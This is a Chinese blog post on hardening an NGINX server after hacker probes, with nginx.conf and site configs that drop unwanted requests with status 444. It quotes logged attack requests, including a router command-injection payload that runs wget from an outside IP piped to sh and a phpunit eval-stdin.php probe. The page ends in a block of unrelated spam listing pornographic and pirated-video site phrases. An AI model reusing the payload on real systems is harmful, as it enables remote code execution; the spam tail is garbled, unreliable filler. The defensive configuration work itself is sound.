<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    paulwong

    NGINX的安全性配置

    最近將一臺HTTP服務器暴露于僅見,隨即引來大量黑客的光顧,其實也就是發各種HTTP請求,以獲取一個輸入,輸出界面,在輸入界面輸入SHELL命令,在輸出界面觀看結果,也就是說不用去到電腦前,用登錄用戶名和密碼這種方法來登錄,再跑各種命令。
    日志顯示有下面這些操作:
    185.191.127.212 - - [19/Jun/2024:21:10:22 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" "-"

    60.221.228.127 - - [15/Jun/2024:21:10:02 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" "-"
    于是在NGINX上加上相應規則,遇到類似的直接返回444
    其中/etc/nginx/conf/nginx.conf
    user  nginx;
    worker_processes  auto;

    error_log  /var/log/nginx/error.log notice
    ;
    pid        /var/run/nginx.pid;
    events {
        worker_connections  
    1024;
    }
    http {
        #include       /etc/nginx/mime.types
    ;
        #default_type  application/octet-stream;

        #paul-
    1
        server_tokens off
    ;
        map $remote_addr $loggable {
             ~^
    192\.168\.1 0;        # 如果IP以192開頭,則不記錄日志
             ~^219\.888\.888\.888 0; # 如果IP是219.888.888.8,則不記錄日志
             default 1;       # 其他情況默認記錄日志
        }
         
        log_format  main  '$remote_addr - $remote_user 
    [$time_local] "$request" '
                          '$status $body_bytes_sent 
    "$http_referer" '
                          '
    "$http_user_agent" "$http_x_forwarded_for"';

        #paul-
    2
        access_log  /var/log/nginx/access.log  main if
    =$loggable;#引用上面的規則

        sendfile        on
    ;
        #tcp_nopush     on;
        keepalive_timeout  
    65;
        #gzip  on
    ;
        include /etc/nginx/conf.d/*.conf
    ;
        map $http_upgrade $connection_upgrade {
           default upgrade
    ;
           '' close;
        }
        upstream uvicorn {
           server unix:/tmp/uvicorn.sock
    ;
        }
    }
    /etc/nginx/conf/conf.d/default.conf,這里是將請求轉發后到后端的配置
    server {
        listen 
    81;
        listen  [::]:80;
        
        #paul-
    3
        server_name paulwong88.com
    ;

        #paul-
    4
        # 驗證 Host 頭部是否為您的域名
        if ($host !
    = 'paulwong88.com') {
        return 
    444;  # 對非授權域名的請求直接關閉連接
        }
        
        client_max_body_size 4G
    ;
        #server_name localhost
    ;

        location / {
          #include       /etc/nginx/mime.types
    ;
          #default_type  application/octet-stream;
          add_header 'Cache-control' 'no-cache';
          proxy_set_header Host $http_host;
          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
          proxy_set_header X-Forwarded-Proto $scheme;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection $connection_upgrade;
          proxy_redirect off;
          proxy_buffering off;
          proxy_pass http://open-webui:8080;
        }
        
        #paul-
    5
        location ~ ^/cgi-bin/ {
          deny all
    ;    
          return 444;# 限制對 CGI 目錄的訪問
        }
    }
    /etc/nginx/conf/conf.d/default-web.conf,這里是放置靜態頁面的配置
    server {
        listen 
    80;
        listen  [::]:80;
        expires -1;
        
        #paul-
    3
        server_name paulwong88.com
    ;

        #paul-
    4
        # 驗證 Host 頭部是否為您的域名
        if ($host !
    = 'paulwong88.com') {
        return 
    444;  # 對非授權域名的請求直接關閉連接
        }
        
        client_max_body_size 4G
    ;
        #server_name localhost
    ;

        location / {
              #如果不加,nginx會亂發http頭,導致瀏覽器無法解析css
    ,js這種文件
              include       /etc/nginx/mime.types
    ; #默認在http中是有這個配置的,但又重復了一遍,告訴nginx如果碰到各種后綴,如.css,應如何添加http頭
           default_type  application/octet-stream; #默認在http中是有這個配置的,但又重復了一遍,加默認要加的http頭
          root   /usr/share/nginx/html;
          index  index.html index.htm;
        }
        
        #paul-
    5
        location ~ ^/cgi-bin/ {
          deny all
    ;    
          return 444;# 限制對 CGI 目錄的訪問
        }

        #location /static {
          # path for static files
          #root /path/to/app/static
    ;
        #}

        #網上建議這樣加,但發現沒效果
        #location ~ \.css {
           #root   /usr/share/nginx/html
    ;
           #add_header  Content-Type    text/css;
           #default_type text/css;
        #}

        #location ~ \.js {
           #root   /usr/share/nginx/html
    ;
           #add_header  Content-Type    application/x-javascript;
        #}
    }
    這樣基本各路黑客輸入一條命令后,基本就打退堂鼓了。

    posted on 2024-06-19 21:38 paulwong 閱讀(93) 評論(0)  編輯  收藏 所屬分類: NGINX


    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 曰批免费视频播放在线看片二| 午夜精品射精入后重之免费观看 | 日韩亚洲AV无码一区二区不卡| 97人妻无码一区二区精品免费| 婷婷国产偷v国产偷v亚洲| 国产精品国产亚洲精品看不卡| 国产情侣激情在线视频免费看| 国产精品亚洲一区二区三区在线观看 | 妞干网在线免费视频| 国产va免费精品| 亚洲最大的黄色网| 在线亚洲人成电影网站色www| 99久久国产热无码精品免费 | 永久黄网站色视频免费直播| 巨胸狂喷奶水视频www网站免费| 亚洲videosbestsex日本| 久久亚洲2019中文字幕| 成年女性特黄午夜视频免费看| 国产永久免费高清在线| 精品亚洲国产成人av| 亚洲视频一区在线播放| 中文字幕亚洲无线码| 天天干在线免费视频| 91成人在线免费视频| av网站免费线看| 亚洲一日韩欧美中文字幕在线| 精品亚洲综合在线第一区| 国产三级免费观看| 无码永久免费AV网站| 久久久久成人片免费观看蜜芽 | 最近中文字幕大全免费视频| 一区二区三区免费视频观看| 亚洲欧洲AV无码专区| 亚洲综合一区二区| 亚洲AV永久无码精品一百度影院| 免费在线观看视频a| 啦啦啦在线免费视频| 91嫩草国产在线观看免费| 8x8x华人永久免费视频| 国产羞羞的视频在线观看免费| 九九视频高清视频免费观看|